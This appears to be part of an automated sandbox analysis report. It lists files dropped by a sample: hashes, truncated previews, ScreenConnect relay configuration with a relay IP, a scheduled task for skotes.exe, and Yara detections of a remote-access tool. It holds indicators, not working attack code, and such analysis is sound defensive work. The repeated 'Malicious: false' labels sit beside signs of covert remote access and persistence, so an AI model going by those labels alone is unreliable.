SHA-512:	7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../....../......./......./.....n./...../../.../....../....../..-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC587.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207360
Entropy (8bit):	6.573348437503042
Encrypted:	false
SSDEEP:	3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
MD5:	BA84DD4E0C1408828CCC1DE09F585EDA
SHA1:	E8E10065D479F8F591B9885EA8487BC673301298
SHA-256:	3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
SHA-512:	7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../....../......./......./.....n./...../../.../....../....../..-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{0F0F3A06-836F-1282-FBD2-C84A34E3C174}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1718807940145646
Encrypted:	false
SSDEEP:	12:JSbX72Fj9AGiLIlHVRpIh/7777777777777777777777777vDHF061zTQP7rl0i5:J7QI5wKozlF
MD5:	89D1BAD9AC0AFE3162EA642B6093D9FD
SHA1:	74C062175C32E46850AAC5B14CA8469B45BFA122
SHA-256:	6C188990B5D5A2DA31B03AB1F8A588976AC0DC11194079E1AD3700990C21B887
SHA-512:	FCAB0EBD693E3DB6E2C9A1991B557411E594C7D048EA2070B8E70C1083F494D411C37223FC404979879DC97B198DD2951B3004409BD467A0D8AD38DB72BBFFB0
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.8054501328692032
Encrypted:	false
SSDEEP:	48:wO8PhMuRc06WXzunT5E19YBSqcq56AduXSiyUKgdKHGhv1r42jsfrE9WrGAduXS8:wBhM1znTaUnp+fLdKHORrywJP
MD5:	C02508D15A21393BC55295682EAE37A9
SHA1:	CC95BAEB4EEC4781048886BDB84CD4B42C58F624
SHA-256:	658540B61353FAD40D6AFE65A1EC274F1AAAA11A87E409CAEC5FE8C165DB3611
SHA-512:	EE06D4F121654B5381D9F741FB7DA593199D584ED5D4A7FCBCA25BF06759E8282B0A9799E4718B48062F5AA19F97D3828B7296818D7FA2E88E25FA5DE76B7B58
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Installer\inprogressinstallinfo.ipi, Author: Joe Security
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\{0F0F3A06-836F-1282-FBD2-C84A34E3C174}\DefaultIcon

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 4 bits/pixel, 32x32, 4 bits/pixel
Category:	dropped
Size (bytes):	8757
Entropy (8bit):	5.811118256988437
Encrypted:	false
SSDEEP:	96:2RmrIMQy/n65T3U37XKYpmb7yRmrIMQy/n65T3U37XKYpmb7T0:2SIMXqzgDKYlSIMXqzgDKYj
MD5:	B0936EE66C79CC205C1407BB222AA361
SHA1:	984C54212B0AC587C6D3489D279C145B37774A58
SHA-256:	69802414D59A18FBC16A09F24B5CD550F8EFDA576D06C14197259CE245B01B6A
SHA-512:	598B90596178C75B4FD821C4BF5BB51954850012F830430179C07B3039C18F9AC2A4CE249DB3F57B9AB2AC59C746CDB1FE62BCD19D86B7966B364CA4C9B85977
Malicious:	false
Preview:	..................6... ..............00...........!........ .... .........(... ...@..... ..........:...:...........................................@...D.<.F.\|.E...F...F...H...I...I...J...J...K...K...L.\|.M.<.@...........................................................@...D.{.F...F...G...G...H...H...I...J...J...K...K...L...L...M...N...N...O.z.F...............................................E.J.E...F...G...G...H...H...I...I...J...K...K...L...L...M...M...N...O...O...P...P...Q.H.....................................E.o.F...F...G...H...H...I...I...J...J...K...L...L...M...M...N...N...O...P...P...Q...Q...R...R...............................E.v.F...G...G...H...I...I...J...J...K...K...L...M...M...N...N...O...O...P...Q...Q...R...R...S...S...T.t.....................G.K.G...G...H...H...I...J...J...K...K...L...L...M...N...N...O...O...P...P...Q...R...R...S...S...T...T...U...U.H.............M...G...H...H...I...I...J...K...K...L...L...M...M...N...O...O...P...P...Q...Q...R...S...S...T...T...U...U...V..

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432221
Entropy (8bit):	5.3751745655858185
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgau3:zTtbmkExhMJCIpErS
MD5:	AACEEC7A72D7EC106AD73F117EF66C1E
SHA1:	911016B28D5EBD7A7755E7FB4660451D5CFEF330
SHA-256:	DF5AB66D70663EA6FA775FE24559CDB071406CEE248D02DF4A609DE3A5B582A0
SHA-512:	EFBE04E7B9BF11477133C56DC2845EBB93E2190E540E912BEB5517B6EDBAF298A0D0ADDC2AF66A44925224B7ED1C10EA8571C77143EC87098A48F267A0D7CAFA
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\1ap3ahh4.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.023398189093277
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gIqog5/vXbAa3xT:2dL9hK6E46YPRVogRvH
MD5:	1E19D8B5D03CB139175B24BA209FB920
SHA1:	8FA50B23E0B97366A70D40F19B59C546B37A014F
SHA-256:	94F3420076AE44897ABC6291CCFC23921390B7D5BB9D903DDFFCB7110AD4E4DC
SHA-512:	2D5AD4EE22C7E261D2CA33277B00FBCA58AF5D01021E73B47D10D8403F4D49C05C6065BF3825EE663DE09572A3DB837CAD1DFD9642F9700C1A45A8B1105C05DB
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a02%3a31</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\mgehdxbq.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.023398189093277
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gIK/vXbAa3xT:2dL9hK6E46YPRvvH
MD5:	70F4F07A42CFBF8F95434B59AE6BE478
SHA1:	EE8F122B7781A632A551FED46133EEBE2F98C5E6
SHA-256:	FC6931C0918636CF1DB970DF89E462394B996EC28D2AAB044743B9EA59A31490
SHA-512:	4349A1F3F4B820BE9821566F2F61C2D74BF02E1E60CC34B8FBD6AD23C1596FEFA65BF1AD345F320A14236FA6CC3D769372652D4B9B278D03380E7888060B9A23
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a03%3a21</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\ncpothgz.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.023398189093277
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gI0/vXbAa3xT:2dL9hK6E46YPRxvH
MD5:	78E4E1849EF5F530FA0D22AC8D7B6B75
SHA1:	5AA04DAFA59F26E004881B3300F9D2649167430B
SHA-256:	CAECD1E367DAC51D37EE498E33A4C121643E1064A9C02B80A0C70F48BA86B989
SHA-512:	E17D376E4A9AFFA5FA316C0E0CC68F3C179CD910C05FCC629441C5B97D436BE1B924A14D39B6730798654BD384818C38CC7BA247885C3A3DED85AEE96BFB2947
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a03%3a12</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\pxf50pjp.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.023895610421108
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gIqoRQv/vXbAa3xT:2dL9hK6E46YPRVoRQ3vH
MD5:	7488C09508E56A6C5ACA3312B02FAE47
SHA1:	B7B8EC75014374AC5BEA90AF2D20F63CBE88CDC1
SHA-256:	74AA02C54EEC64556310067D89110869F30EE45AC8E1CC17363F81B92F08AAA4
SHA-512:	28C091FD7EF2B940972CB73241129D6560805E7A8FE02327DFAB5095352CAEBB398F2F07A7B9D2611DA7179F046170976CC9ABD5E968DFDD2275D326D92FD3F4
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a02%3a35</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\r5rn2gzl.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	584
Entropy (8bit):	5.025745465663326
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gIo/vXbAa3xT:2dL9hK6E46YPRRvH
MD5:	180511B07A2C1DD6CD2924810B77F912
SHA1:	1478B4D8FB2E0D84D58D38072B8F64CC5B3E0DE5
SHA-256:	26AE898EBF0CBF0F30FA2951C832BFD5B7D682812F261571A85162D47BF6AB8D
SHA-512:	2AFC97FAAFB48B6BFB798D1CF2CB6F2DB242FEAE667BDDE2238EF81C7754467F7D705FC47C0B5A8F41A9CC01C4D994A11C0343190383F7B56EF3355B26176546
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a03%3a34</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\user.config (copy)

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.023398189093277
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gIqog5/vXbAa3xT:2dL9hK6E46YPRVogRvH
MD5:	1E19D8B5D03CB139175B24BA209FB920
SHA1:	8FA50B23E0B97366A70D40F19B59C546B37A014F
SHA-256:	94F3420076AE44897ABC6291CCFC23921390B7D5BB9D903DDFFCB7110AD4E4DC
SHA-512:	2D5AD4EE22C7E261D2CA33277B00FBCA58AF5D01021E73B47D10D8403F4D49C05C6065BF3825EE663DE09572A3DB837CAD1DFD9642F9700C1A45A8B1105C05DB
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a02%3a31</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (9e47e837d725d609)\w1af5kdn.newcfg

Download File

Process:	C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.023398189093277
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENONlB8gIqo3/vXbAa3xT:2dL9hK6E46YPRVoPvH
MD5:	D8CE236C63D777B6F7ED2A399370A89E
SHA1:	F6E9CA0F6C8FF5D9783CC3FA9F4DDBD80800B0EA
SHA-256:	5B9B3F9DE33045260448C267798B2C78FD2EB4F76137BFF6756FB1B63931F60C
SHA-512:	B161E57B3496587697C1A3CB64AEF0FD68668AFFF06F3E84A342C50A9D0FDD48E608E2A74FBC5B602532172F496A026D0745564ADDFF44EAA576BF0D3FD83B06
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>instance-m858nm-relay.screenconnect.com=147.75.80.220-16%2f12%2f2024%2020%3a02%3a38</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3995326365999796
Encrypted:	false
SSDEEP:	6:BejnXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lMWt0:BeXf2RKQ1CGAFAjzvYRQVZt0
MD5:	882899A208E6C6AA57EF07D596503976
SHA1:	135AB75CFEB0D18AB5B79A625075E9C6C7BBF39A
SHA-256:	4D802DEBDFEAFDACBA13FE65F683D2D5CA690F271F7688DBCC9981BEAFC6BC33
SHA-512:	4668FB2D0C3F9AADAFEAF432CBFF4813DE6BE227F1A50841489A3F6379AF15EA44791F89A1246DE5EC9452A129ADF160E28CA2F50B5F3B881366CDB7EB670611
Malicious:	false
Preview:	...._.{..l.B...d.0`{F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\Temp\~DF121DDAD145DB1BAB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF34E83BDB69050A33.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF4E5797442E708356.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.4245965121588529
Encrypted:	false
SSDEEP:	48:Bpkuivh8FXzNT5aUM19YBSqcq56AduXSiyUKgdKHGhv1r42jsfrE9WrGAduXSIDf:zkizToNUnp+fLdKHORrywJP
MD5:	E28EC683C2B676F675BAFB3F80E2702A
SHA1:	3B5D05B6D005BB052370F935C2D7ACC5CA83C816
SHA-256:	DE5629C869872C6A88DD342DF13F9F51BBB185EBD4EAC0BEDADC566C90100B21
SHA-512:	7C4D644877D026664A1950C19639BC865AA77C90D3BE90FE73DC554980DBDC01B9643DACB32DF8CC2B79FAA5E62452B5810A4C371819B68FC1E7E06C9661B142
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DF4E5797442E708356.TMP, Author: Joe Security
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF57056AEEE3BBD202.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.8054501328692032
Encrypted:	false
SSDEEP:	48:wO8PhMuRc06WXzunT5E19YBSqcq56AduXSiyUKgdKHGhv1r42jsfrE9WrGAduXS8:wBhM1znTaUnp+fLdKHORrywJP
MD5:	C02508D15A21393BC55295682EAE37A9
SHA1:	CC95BAEB4EEC4781048886BDB84CD4B42C58F624
SHA-256:	658540B61353FAD40D6AFE65A1EC274F1AAAA11A87E409CAEC5FE8C165DB3611
SHA-512:	EE06D4F121654B5381D9F741FB7DA593199D584ED5D4A7FCBCA25BF06759E8282B0A9799E4718B48062F5AA19F97D3828B7296818D7FA2E88E25FA5DE76B7B58
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DF57056AEEE3BBD202.TMP, Author: Joe Security
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF6CAF4CA87E06069E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8EFE1B2C3767A165.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF98532BDDD76F50EA.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9BE0A48E8820FB86.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.4245965121588529
Encrypted:	false
SSDEEP:	48:Bpkuivh8FXzNT5aUM19YBSqcq56AduXSiyUKgdKHGhv1r42jsfrE9WrGAduXSIDf:zkizToNUnp+fLdKHORrywJP
MD5:	E28EC683C2B676F675BAFB3F80E2702A
SHA1:	3B5D05B6D005BB052370F935C2D7ACC5CA83C816
SHA-256:	DE5629C869872C6A88DD342DF13F9F51BBB185EBD4EAC0BEDADC566C90100B21
SHA-512:	7C4D644877D026664A1950C19639BC865AA77C90D3BE90FE73DC554980DBDC01B9643DACB32DF8CC2B79FAA5E62452B5810A4C371819B68FC1E7E06C9661B142
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DF9BE0A48E8820FB86.TMP, Author: Joe Security
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF9F09F25F77B7E028.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07721461216568312
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOof61zTQuSKChiVky6l51:2F0i8n0itFzDHF061zTQP7r
MD5:	F1196CC26E9498ADFB5EC37C6A0B490C
SHA1:	C29701227CA742A044E37F2A8F0A86DB8099F3C1
SHA-256:	D7260093DB929FAC281114BB62D93B2F24A50D86AEFDADFEA0F049D6C149C870
SHA-512:	5ACFBEC7669BD8284ADD7050C582CFEEDF9AA4389F73D3FEDF28B8BAEFCDE5FADDA7C524784A9317E99340E6F5AFE685C3E1A456F1165FE2F4C599F72273B52D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBA545A41CE89C3A1.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.8054501328692032
Encrypted:	false
SSDEEP:	48:wO8PhMuRc06WXzunT5E19YBSqcq56AduXSiyUKgdKHGhv1r42jsfrE9WrGAduXS8:wBhM1znTaUnp+fLdKHORrywJP
MD5:	C02508D15A21393BC55295682EAE37A9
SHA1:	CC95BAEB4EEC4781048886BDB84CD4B42C58F624
SHA-256:	658540B61353FAD40D6AFE65A1EC274F1AAAA11A87E409CAEC5FE8C165DB3611
SHA-512:	EE06D4F121654B5381D9F741FB7DA593199D584ED5D4A7FCBCA25BF06759E8282B0A9799E4718B48062F5AA19F97D3828B7296818D7FA2E88E25FA5DE76B7B58
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Temp\~DFBA545A41CE89C3A1.TMP, Author: Joe Security
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFC05B8470E789E83F.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.23642594112436371
Encrypted:	false
SSDEEP:	48:ltDBAduXS3qcq56AduXSiyUKgdKHGhv1r42jsfrE9WrPz9Y2:lLxp+fLdKHORrywU9
MD5:	7E113C8AF566FE7BE1FB84E6F52FE68B
SHA1:	0B391F88E52219DCE0F3F88778E54A06E497E860
SHA-256:	D3578AFDD4E29EEF81F08F3EC68E9888B3632977D466CA26810AA4A51426E45C
